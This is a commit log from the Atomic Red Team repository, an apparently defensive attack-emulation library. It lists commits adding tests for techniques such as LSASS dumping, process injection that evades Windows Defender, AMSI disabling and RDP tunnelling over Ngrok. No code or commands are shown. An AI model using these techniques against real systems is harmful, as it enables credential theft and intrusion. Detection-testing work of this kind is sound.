Jonathan 81368acdd7 Add T1056.002 Gui Input Capture macOS test (#2531)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-10-03 17:22:55 -04:00
Atomic Red Team doc generator 5e4a0cea17 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-03 17:49:04 +00:00
Atomic Red Team GUID generator 34e755969e Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-03 17:48:44 +00:00
Swachchhanda Shrawan Poudel 9026f98900 Added few new tests for T1518.001 and also rdrleakdiag.exe test accessing lsass (#2550)
* Added lolbin rdrleakdiag support for lsass dumping and some Security Software Discovery tests

* Changes done as suggested

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-10-03 11:48:00 -06:00
Atomic Red Team doc generator a007c274f6 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-03 17:39:50 +00:00
Carrie Roberts d667fffea2 correct url (#2552)
* correct url

* Update T1027.yaml
2023-10-03 11:38:37 -06:00
Atomic Red Team doc generator 302abbb7b7 Generated docs from job=generate-docs branch=master [ci skip] 2023-10-03 11:06:39 +00:00
Atomic Red Team GUID generator 4b343f18ab Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-03 11:06:21 +00:00
socketz 99e7f006f1 T1055.011 - Process Injection: Extra Window Memory Injection (#2539)
* Updated .gitignore with more files to be ignored

* Working T1055.011 x64 payload. WIP x86

* Fixed a bug executing from Invoke-AtomicTest. x86 WIP

* Update T1055.011.yaml

Removed autogenerated_guid

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2023-10-03 07:05:41 -04:00
publish bot bedfdfd91a updating atomics count in README.md [ci skip] 2023-10-03 01:05:05 +00:00
dependabot[bot] ebf17ef2bc Bump urllib3 from 2.0.4 to 2.0.6 (#2551)
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.0.4 to 2.0.6.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.0.4...2.0.6)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-02 19:04:14 -06:00
Atomic Red Team doc generator b2204555cf Generated docs from job=generate-docs branch=master [ci skip] 2023-10-02 20:45:35 +00:00
Atomic Red Team GUID generator 19c71c2a40 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-10-02 20:45:17 +00:00
Mohana Shankar D 3397666c5c New Atomic Test: PromptOnSecureDesktop (#2549)
* New Atomic Test: PromptOnSecureDesktop

* Update T1548.002.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-10-02 14:44:36 -06:00
traceflow 30947260a6 adding test simulating DarkGate malware writing script to file from cmd (#2548)
* adding test simulating DarkGate malware writing script to file from cmd

* adding test simulating DarkGate malware writing script to file from cmd

* updating atomics count in README.md [ci skip]

---------

Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-29 08:52:48 -06:00
Atomic Red Team doc generator d387c3e718 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-29 14:51:00 +00:00
Atomic Red Team GUID generator 971f54bdf9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-29 14:50:42 +00:00
Swachchhanda Shrawan Poudel 247349eb5c Added new tests for techniques T1082 and T1070 (#2547)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-29 08:50:02 -06:00
Atomic Red Team doc generator 9bf809338a Generated docs from job=generate-docs branch=master [ci skip] 2023-09-29 14:45:43 +00:00
Atomic Red Team GUID generator 33aa1e0df2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-29 14:45:20 +00:00
Tuutaans 2dc70561dd Provlaunch.exe Executes Arbitrary Command via Registry Key (#2546)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-29 08:44:32 -06:00
Atomic Red Team doc generator ccdf46f389 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-29 14:41:30 +00:00
Antonio Piazza f68822b349 Added ExternalPayloads directory (#2545)
* Added ExternalPayloads dir creation

* Created ExternaPayloads Dir

Created ExternaPayloads Directory using powershell command

* Added External Payloads Dir

Added External Payloads Directory using a powershell command for all Procedures.

* Fixed ExternalPayload directory creation

Fixed ExternalPayload directory creation.  Got rid of the Split path

* Created External Payloads directory

Created External Payloads directory for procedure 14d55ca0-920e-4b44-8425-37eedd72b173

* Update T1003.002.yaml

Added ExternalPayloads directory creation PowerShell command for procedure 804f28fc-68fc-40da-b5a2-e9d0bce5c193

* Update T1110.004.yaml

Added Powershell Command to creat ExternalPayloads dir for the second prereq for procedure 4852c630-87a9-409b-bb5e-5dc12c9ebcde.

* Update T1110.001.yaml

Added ExrernalPayload directory creation PowerShell command for procedure 59dbeb1a-79a7-4c2a-baf4-46d0f4c761c4
prereq 2

* Added ExternalPayloads Dir

Added Powershell command to create new ExternalPayloads dir for procedure fad04df1-5229-4185-b016-fb6010cd87ac

* Add ExternalPayloads Dir

Added PowerShell Command to create new ExternalPayloads directory for procedure c6f25ec3-6475-47a9-b75d-09ac593c5ecb

* Added prereq download directories

Added powershell command to create prereq download directories for procedure 6f2c5c87-a4d5-4898-9bd1-47a55ecaf1dd

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-29 08:40:27 -06:00
zaicurity 273e3c0fb7 Fix T1083-6 DirLister PreReqs (#2541)
* Fix T1083-6 DirLister PreReqs

A quote symbol in the get_prereq_command was wrong which caused the directory name to include "-Force". Due to this the script failed.

* updating atomics count in README.md [ci skip]

---------

Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-25 14:35:42 -06:00
Atomic Red Team doc generator dc194fadf2 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-25 20:31:57 +00:00
Antonio Piazza b524d93bad New ExternalPayloads dir creation (#2544)
* Added ExternalPayloads dir creation

* Created ExternaPayloads Dir

Created ExternaPayloads Directory using powershell command

* Added External Payloads Dir

Added External Payloads Directory using a powershell command for all Procedures.

* Fixed ExternalPayload directory creation

Fixed ExternalPayload directory creation.  Got rid of the Split path

* Created External Payloads directory

Created External Payloads directory for procedure 14d55ca0-920e-4b44-8425-37eedd72b173

* Update T1003.002.yaml

Added ExternalPayloads directory creation PowerShell command for procedure 804f28fc-68fc-40da-b5a2-e9d0bce5c193

* Update T1110.004.yaml

Added Powershell Command to creat ExternalPayloads dir for the second prereq for procedure 4852c630-87a9-409b-bb5e-5dc12c9ebcde.

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-25 14:31:00 -06:00
publish bot b223a8e79b updating atomics count in README.md [ci skip] 2023-09-25 20:29:14 +00:00
dependabot[bot] ba4ba09d39 Bump jsonschema from 4.19.0 to 4.19.1 (#2540)
Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.19.0 to 4.19.1.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.19.0...v4.19.1)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-25 14:28:32 -06:00
Atomic Red Team doc generator 098dfbfe5b Generated docs from job=generate-docs branch=master [ci skip] 2023-09-25 20:27:05 +00:00
Antonio Piazza a301206811 Download Directory creation (#2543)
* Added ExternalPayloads dir creation

* Created ExternaPayloads Dir

Created ExternaPayloads Directory using powershell command

* Added External Payloads Dir

Added External Payloads Directory using a powershell command for all Procedures.

* Fixed ExternalPayload directory creation

Fixed ExternalPayload directory creation.  Got rid of the Split path

* Created External Payloads directory

Created External Payloads directory for procedure 14d55ca0-920e-4b44-8425-37eedd72b173

* Update T1003.002.yaml

Added ExternalPayloads directory creation PowerShell command for procedure 804f28fc-68fc-40da-b5a2-e9d0bce5c193

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-25 14:26:08 -06:00
Atomic Red Team doc generator d146373e1f Generated docs from job=generate-docs branch=master [ci skip] 2023-09-25 20:24:07 +00:00
Antonio Piazza 7c61ce15f0 Update T1036.yaml (#2542)
Added ExternalPayloads directory creation via powershell command for procedure 4449c89b-ec82-43a4-89c1-91e2f1abeecc
2023-09-25 14:22:53 -06:00
Atomic Red Team doc generator 81692e20cd Generated docs from job=generate-docs branch=master [ci skip] 2023-09-23 03:44:15 +00:00
Carrie Roberts fc3bfecda2 use ExternalPayloads folder (#2538) 2023-09-22 23:43:06 -04:00
Atomic Red Team doc generator 78204c6965 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-22 21:07:21 +00:00
final five three fantasy 31713d27c6 updated lazagne URL (#2536)
* Repair path error

* Repair path error

* Update dependency URL

* Update T1555.003.yaml

---------

Co-authored-by: ywliang <ywliang@Hillstonenet.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-22 15:06:06 -06:00
Atomic Red Team doc generator a228ee8656 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-22 19:15:21 +00:00
Antonio Piazza e3b45b7b30 Added ExternalPayloads dir creation (#2537)
* Added ExternalPayloads dir creation

* Created ExternaPayloads Dir

Created ExternaPayloads Directory using powershell command

* Added External Payloads Dir

Added External Payloads Directory using a powershell command for all Procedures.

* Fixed ExternalPayload directory creation

Fixed ExternalPayload directory creation.  Got rid of the Split path

* Created External Payloads directory

Created External Payloads directory for procedure 14d55ca0-920e-4b44-8425-37eedd72b173
2023-09-22 13:14:23 -06:00
Carrie Roberts d4709021fb Handle spaces in file paths (#2535)
* updating atomics count in README.md [ci skip]

* wip

* handle spaces in path

* update readme

* fix typo

---------

Co-authored-by: publish bot <opensource@redcanary.com>
2023-09-22 10:47:25 -06:00
publish bot 5e9e3d2273 updating atomics count in README.md [ci skip] 2023-09-19 19:54:14 +00:00
sidahmed-malaoui 5a5f05362b Add backslash to path to make it valid (#2530)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-19 13:53:28 -06:00
Atomic Red Team doc generator 429bad7d5b Generated docs from job=generate-docs branch=master [ci skip] 2023-09-19 19:51:19 +00:00
Atomic Red Team GUID generator 9cb101bde7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-19 19:51:00 +00:00
Maskit Ariely 33fa790c25 T1005 (#2532)
* final test

* final test

* remove auto_generated_guid:

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-19 13:50:16 -06:00
Atomic Red Team doc generator fc49b11d8e Generated docs from job=generate-docs branch=master [ci skip] 2023-09-19 19:41:40 +00:00
Atomic Red Team GUID generator d604c832de Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-19 19:41:22 +00:00
Swachchhanda Shrawan Poudel f62d4c157c Modify Internet Zone Protocol Defaults in Current User Registry through PowerShell (#2534)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-19 13:40:44 -06:00
Atomic Red Team doc generator ac64299bcc Generated docs from job=generate-docs branch=master [ci skip] 2023-09-19 19:37:14 +00:00
final five three fantasy e1fa1bfd42 fixed some path errors (#2533)
* Repair path error

* Repair path error

---------

Co-authored-by: ywliang <ywliang@Hillstonenet.com>
2023-09-19 13:35:57 -06:00
Atomic Red Team doc generator 980f3f83fd Generated docs from job=generate-docs branch=master [ci skip] 2023-09-14 13:27:41 +00:00
Atomic Red Team GUID generator 9c8e0a75aa Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-14 13:27:17 +00:00
Ryan Plas a297bbc206 T1564.003 - Headless Browser Mockbin (#2529)
* T1564.003 - Headless Browser Mockbin

* Update T1564.003.yaml

---------

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2023-09-14 07:26:24 -06:00
Atomic Red Team doc generator b76b49523e Generated docs from job=generate-docs branch=master [ci skip] 2023-09-13 01:31:11 +00:00
Atomic Red Team GUID generator 2ce6565ace Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-13 01:30:53 +00:00
Nasreddine Bencherchali 39534eb4ed Update T1112.yaml (#2522)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-12 19:30:08 -06:00
Atomic Red Team doc generator 205e8b3149 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-13 01:28:09 +00:00
Atomic Red Team GUID generator c973f6a07c Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-13 01:27:43 +00:00
Maskit Ariely 6dd26cd1f3 T1567.003 (#2523)
* init

* finished test

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-12 19:26:54 -06:00
Atomic Red Team doc generator 5d76ff7aa1 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-13 01:22:52 +00:00
Atomic Red Team GUID generator bd99b04a31 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-13 01:22:34 +00:00
Thomas Meng d2562f763a T1055.002 Process Injection: (Fileless) Portable Executable Injection (#2524)
* Add new T1055 process injection test named dirty vanity

* Fix typos

* Update build.bat

* Delete atomics/T1055/T1055.yaml.bak

* T1055.002 Process Injection: Portable Executable Injection implemented and tested on both Windows 10 and 11. Bypassed Windows defender. A messagebox spawned with message Atomic Red Team

* Update T1055.002 proc privilege level

* Fix some small issues related to code compliation with different compilers in different archs

* Update T1055.002.md

Update documentation for T1055.002

* Update T1055.002.md

Update clean up command

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-12 19:21:55 -06:00
Atomic Red Team doc generator 53f605e142 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-12 19:14:33 +00:00
Carrie Roberts 5dc57a112a handle spaces in file path (#2527) 2023-09-12 15:13:14 -04:00
Atomic Red Team doc generator 4624b2c995 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-12 02:52:27 +00:00
Atomic Red Team GUID generator a68b2cfabe Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-12 02:52:08 +00:00
art-labs 0c57c49f1b Update T1055.yaml (#2526)
removing invalid guid. a new one will be automatically assigned by github actions
2023-09-11 20:51:30 -06:00
publish bot 122d6a448a updating atomics count in README.md [ci skip] 2023-09-11 18:36:59 +00:00
Bhavin Patel 458d8a9731 Merge pull request #2519 from cyberbuff/T1021.005
T1021.005 Apple Remote Desktop
2023-09-11 11:36:06 -07:00
Bhavin Patel edf3453ac2 Merge branch 'master' into T1021.005 2023-09-11 11:35:06 -07:00
publish bot 01b2dda043 updating atomics count in README.md [ci skip] 2023-09-11 18:35:04 +00:00
Bhavin Patel 4f03ef6917 Merge pull request #2515 from blueteam0ps/T1098.003-2
Adding Simulate - Post BEC persistence via user password reset follow…
2023-09-11 11:34:22 -07:00
Bhavin Patel d597a5e021 Merge branch 'master' into T1098.003-2 2023-09-11 11:33:15 -07:00
publish bot 5c3b23002d updating atomics count in README.md [ci skip] 2023-09-06 18:29:08 +00:00
Thomas Meng 886ede1606 Process injection dirty vanity (#2520)
* Add new T1055 process injection test named dirty vanity

* Fix typos

* Update build.bat

* Delete atomics/T1055/T1055.yaml.bak

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-09-06 12:28:11 -06:00
Atomic Red Team doc generator 9eeb1cd6f0 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-06 17:24:36 +00:00
Atomic Red Team GUID generator f902e6d232 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-06 17:24:18 +00:00
Scoubi 7f2a7db461 Update T1564.004.yaml (#2521)
Include a test to test twitter.com/pfiatde/status/1681977680688738305
It creates a directory that you can only access by specifying '::$index_allocation' even if not shown in the name of the folder. It then create a file called 'secrets.txt' to hide information/payloads
2023-09-06 11:23:30 -06:00
Atomic Red Team doc generator 38368fe078 Generated docs from job=generate-docs branch=master [ci skip] 2023-09-02 01:36:39 +00:00
Atomic Red Team GUID generator 81d3e7889a Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-09-02 01:36:21 +00:00
IntelScott 947edecd81 Update T1021.001.yaml (#2517)
Add new test (Disable NLA for RDP via Command Prompt)
2023-09-01 19:35:35 -06:00
Hare Sudhan 65fe70a420 adding T1021.005
adding T1021.005
2023-08-31 12:20:43 -04:00
publish bot b4841b32e5 updating atomics count in README.md [ci skip] 2023-08-30 03:43:58 +00:00
Kyaw-Pyiyt-Htet-Mikoyan 5562068aa2 Update T1082.yaml (#2516) 2023-08-29 21:43:06 -06:00
blueteam0ps 48702a9d62 Adding Simulate - Post BEC persistence via user password reset followed by user added to company administrator role 2023-08-26 05:44:16 -07:00
publish bot 51f01c9695 updating atomics count in README.md [ci skip] 2023-08-24 16:59:15 +00:00
Adam Mashinchi e82563f86b Merge pull request #2513 from redcanaryco/clr2of8-patch-45
Update README.md
2023-08-24 09:58:24 -07:00
Carrie Roberts 955d859cb1 Update README.md 2023-08-21 15:56:13 -06:00
publish bot b27a3cb250 updating atomics count in README.md [ci skip] 2023-08-15 22:54:12 +00:00
Alton Johnson, OSCP, OSCE e2474f6e12 replaced File.exists? with File.exist? (#2511) 2023-08-15 16:53:26 -06:00
Atomic Red Team doc generator ca7374abdb Generated docs from job=generate-docs branch=master [ci skip] 2023-08-15 01:05:57 +00:00
Atomic Red Team GUID generator b472e5f639 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-08-15 01:05:39 +00:00
CyberBilly7 a82678a616 Update T1564.yaml (#2510)
NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-08-14 19:04:57 -06:00
Atomic Red Team doc generator 48e7be16d5 Generated docs from job=generate-docs branch=master [ci skip] 2023-08-15 01:03:29 +00:00
Atomic Red Team GUID generator befa9a2a43 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-08-15 01:03:08 +00:00
Michael Haag 55301cf3a3 Customshellhost (#2509)
* Adding CustomShellHost

* Update T1218.yaml

* fixed
2023-08-14 19:02:11 -06:00
publish bot 0fbf08855e updating atomics count in README.md [ci skip] 2023-08-08 00:37:09 +00:00
dependabot[bot] f882e2cbce Bump jsonschema from 4.18.4 to 4.19.0 (#2508) 2023-08-07 19:36:14 -05:00
Atomic Red Team doc generator 6765527ef0 Generated docs from job=generate-docs branch=master [ci skip] 2023-08-05 00:48:02 +00:00
Atomic Red Team GUID generator 447d3f4705 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-08-05 00:47:44 +00:00
BlueTeamOps d8aa2f4f70 Create T1098.003.yaml (#2478)
* Create T1098.003.yaml

* add header info

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2023-08-04 19:47:06 -05:00
Atomic Red Team doc generator 6af8c8fe51 Generated docs from job=generate-docs branch=master [ci skip] 2023-08-03 17:15:53 +00:00
Atomic Red Team GUID generator b928bdc3a3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-08-03 17:15:35 +00:00
Bhavin Patel ab6b7cf7e0 Merge pull request #2481 from RedinDisguise/master
Update T1562.001.yaml
2023-08-03 10:14:50 -07:00
Bhavin Patel 136266bcea Merge branch 'master' into master 2023-08-03 09:33:50 -07:00
Atomic Red Team doc generator eec95b5b86 Generated docs from job=generate-docs branch=master [ci skip] 2023-08-02 03:24:15 +00:00
Atomic Red Team GUID generator 363cf9a301 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-08-02 03:23:54 +00:00
Hare Sudhan 3032f9e85b tokens added (#2506) 2023-08-01 21:23:11 -06:00
Hare Sudhan a1d082bdbb YAML schema fix (#2505)
* yaml schema fix

* change yaml structure
2023-08-01 19:24:22 -06:00
Thomas de Brelaz c1a2085e18 T1547.005 (#2504)
* updating atomics count in README.md [ci skip]

* fixed old test which was doing a cleanup during execution by saving old values to a temporary key value which can get called later

* removed acronym from name and changed argument name to standard 'payload'

* test using .dll from T1547.002 prevented system restart. reverted test to just creating registry keys but added instructions on how to execute using mimikatz

---------

Co-authored-by: publish bot <opensource@redcanary.com>
Co-authored-by: Thomas De Brelaz <thomas.de-brelaz@ubisoft.com>
2023-08-01 15:19:06 -06:00
tccontre 711586d258 Tccontre max connection per server (#2503)
* updating atomics count in README.md [ci skip]

* Update T1112.yaml

---------

Co-authored-by: publish bot <opensource@redcanary.com>
2023-08-01 13:22:35 -06:00
MrOrOneEquals1 e967e5d508 Update README.md (#2502) 2023-07-31 19:06:34 -06:00
Alphonsa George 12dbd01398 Modified description for Test 4 (#2500)
Co-authored-by: alphonsa-01 <NA>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-31 13:53:20 -06:00
Carrie Roberts ad51274666 force push (#2501) 2023-07-31 13:49:40 -06:00
zaicurity 6b7458f211 Add new test "Port-Scanning /24 Subnet with PowerShell" (#2491)
* Add new test "Port-Scanning /24 Subnet with PowerShell"

Test uses built-in Windows features for portscanning.

* Update T1046.yaml

* typo fix

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-31 10:26:49 -06:00
Carrie Roberts c922d75507 add generate-docs badge (#2499) 2023-07-29 18:42:54 -04:00
Hare Sudhan 20d3a0432f Fix Github action to generate labels for changed atomics (#2497) 2023-07-29 18:23:50 -04:00
Hare Sudhan 0736dfbda9 Fix svg counter (#2498)
* fix svg counter

* poetry update
2023-07-29 16:18:41 -06:00
Hare Sudhan b347ec4291 Merge branch 'master' into master 2023-07-29 15:34:40 -04:00
Thomas de Brelaz a78b9ed805 Fixed multiple issues with the atomic test which was broken: (#2490)
- Added a spool service startype check / update required to execute at boot as the service is dissabled in many VMs,
- Removed reg delete in test preventing successful execution,
- Updated commands to deal more gracefully with errors which were sometimes interrupting cleanup,
- Fixed DLL which was also broken:
- The EnumPrintProcessorDatatypesW needed for execution was not exported
- The Payload code was outside of the EnumPrintProcessorDatatypesW which is the function that gets called when the procesor gets loaded
- Added fixed source and build commands

Co-authored-by: Thomas De Brelaz <thomas.de-brelaz@ubisoft.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-26 13:50:29 -06:00
RedinDisguise ef1d5049ba Update T1562.001.yaml 2023-07-26 15:11:34 -04:00
RedinDisguise bfd59b94b9 Update T1562.008.yaml 2023-07-26 15:11:07 -04:00
RedinDisguise a02b7b9635 Merge branch 'master' into master 2023-07-26 15:09:35 -04:00
dependabot[bot] 94a98d74d3 Bump jsonschema from 4.18.3 to 4.18.4 (#2492)
Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.18.3 to 4.18.4.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.18.3...v4.18.4)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-26 13:04:01 -06:00
dependabot[bot] 89d9a72293 Bump pyyaml from 6.0 to 6.0.1 (#2493)
Bumps [pyyaml](https://github.com/yaml/pyyaml) from 6.0 to 6.0.1.
- [Changelog](https://github.com/yaml/pyyaml/blob/6.0.1/CHANGES)
- [Commits](https://github.com/yaml/pyyaml/compare/6.0...6.0.1)

---
updated-dependencies:
- dependency-name: pyyaml
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-26 13:01:26 -06:00
Bhavin Patel 08dae930db Merge pull request #2495 from blueteam0ps/patch-13
Create T1098.002.yaml
2023-07-25 11:05:42 -05:00
BlueTeamOps 6bfea60a55 Create T1098.002.yaml 2023-07-25 21:54:21 +10:00
Carrie Roberts 74438b0237 use start-job (#2489) 2023-07-17 13:52:23 -04:00
hRun efcd4e6fba Added test for T1547.012 (#2484)
* Added test for T1547.012

* optionally restart

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-17 10:20:53 -06:00
dependabot[bot] 34d47bee4c Bump jsonschema from 4.17.3 to 4.18.3 (#2488)
Bumps [jsonschema](https://github.com/python-jsonschema/jsonschema) from 4.17.3 to 4.18.3.
- [Release notes](https://github.com/python-jsonschema/jsonschema/releases)
- [Changelog](https://github.com/python-jsonschema/jsonschema/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/python-jsonschema/jsonschema/compare/v4.17.3...v4.18.3)

---
updated-dependencies:
- dependency-name: jsonschema
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-07-17 10:17:13 -06:00
Matt McKinley b26ecaa460 Create dependabot.yml (#2482)
Add automated dependabot pulls for python

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-17 09:55:11 -06:00
Prakash22-k 13b75193a8 Prakash22 k patch 1 (#2485)
* Update T1490.yaml

Adding new atomic Test for Windows - vssadmin Resize Shadowstorage Volume

* Update T1490.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-17 09:53:17 -06:00
frack113 d93ad51c4d T1562.006 Fix test 6 and 7 (#2486)
* Fix test6 and 7

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>

* Fix Defender key

"KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational"

---------

Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
2023-07-17 09:35:42 -06:00
RedinDisguise 9faa7acc17 Update T1562.008.yaml
Removing guid field.
2023-07-12 12:45:00 -04:00
RedinDisguise c1474350a7 Update T1562.008.yaml 2023-07-12 12:29:35 -04:00
Atomic Red Team doc generator 17e2ee6f0e Generated docs from job=generate-docs branch=master [ci skip] 2023-07-12 03:00:11 +00:00
Atomic Red Team GUID generator 0793bc4612 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-07-12 02:59:53 +00:00
Michael Haag d01ecdbd4b Create T1570.yaml (#2476)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-11 20:59:08 -06:00
Atomic Red Team doc generator d1f9857ffb Generated docs from job=generate-docs branch=master [ci skip] 2023-07-12 02:56:51 +00:00
Justin Schoenfeld bd7e216840 Add AWS platform to appropriate tests (#2480)
* Adjust platforms from tests

* Update T1619.yaml

* lowercase for validation fails

* Update T1619.yaml

* T1580 platform update

* revert md files

* uppercase

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-11 20:55:50 -06:00
Atomic Red Team doc generator de7da327b8 Generated docs from job=generate-docs branch=master [ci skip] 2023-07-12 02:52:24 +00:00
Atomic Red Team GUID generator 1597ef727e Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-07-12 02:52:07 +00:00
adelfavero57 54ce74dc36 Atomic Test #4 - RDP tunneling over Ngrok Cloud (#2479)
* Atomic Test #4 - RDP tunneling over Ngrok Cloud

Adding Atomic Test #4 - RDP tunneling over Ngrok Cloud to T1572

* change to int

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-07-11 20:51:26 -06:00
Atomic Red Team doc generator a77383047f Generated docs from job=generate-docs branch=master [ci skip] 2023-07-12 02:38:27 +00:00
frack113 a7e5260a93 Add reg.exe force swith (#2477)
Signed-off-by: frack113 <62423083+frack113@users.noreply.github.com>
2023-07-11 20:36:53 -06:00
Atomic Red Team doc generator 02cb591f75 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-30 14:01:44 +00:00
Atomic Red Team GUID generator dfd1f98327 Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-30 14:01:26 +00:00
Paul d021dd01dd Merge pull request #2475 from redcanaryco/disableamsi
AMSI COM
2023-06-30 07:00:41 -07:00
Michael Haag 92e83732e6 AMSI COM 2023-06-30 07:55:02 -06:00
Atomic Red Team doc generator d63cb1a222 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-28 15:58:58 +00:00
Alphonsa George 6d3d8f8a43 Adding cleanup command and modifying 7zip download link for T1560.001 Test 4 (#2474)
Co-authored-by: alphonsa-01 <NA>
2023-06-28 09:57:57 -06:00
Atomic Red Team doc generator 777f3ec8b4 Generated docs from job=generate-docs branch=master [ci skip] 2023-06-26 22:18:47 +00:00
Atomic Red Team GUID generator 9dc2b0ad9e Generate GUIDs from job=generate-docs branch=master [skip ci] 2023-06-26 22:18:25 +00:00
Mohana Shankar D f321b44948 New atomic Test - Driver Enumeration using driverquery (#2473)
* New atomic Test - Driver Enumeration using driverquery

* Update T1082.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2023-06-26 16:17:00 -06:00
Atomic Red Team doc generator e3aacfbaca Generated docs from job=generate-docs branch=master [ci skip] 2023-06-26 21:55:02 +00:00
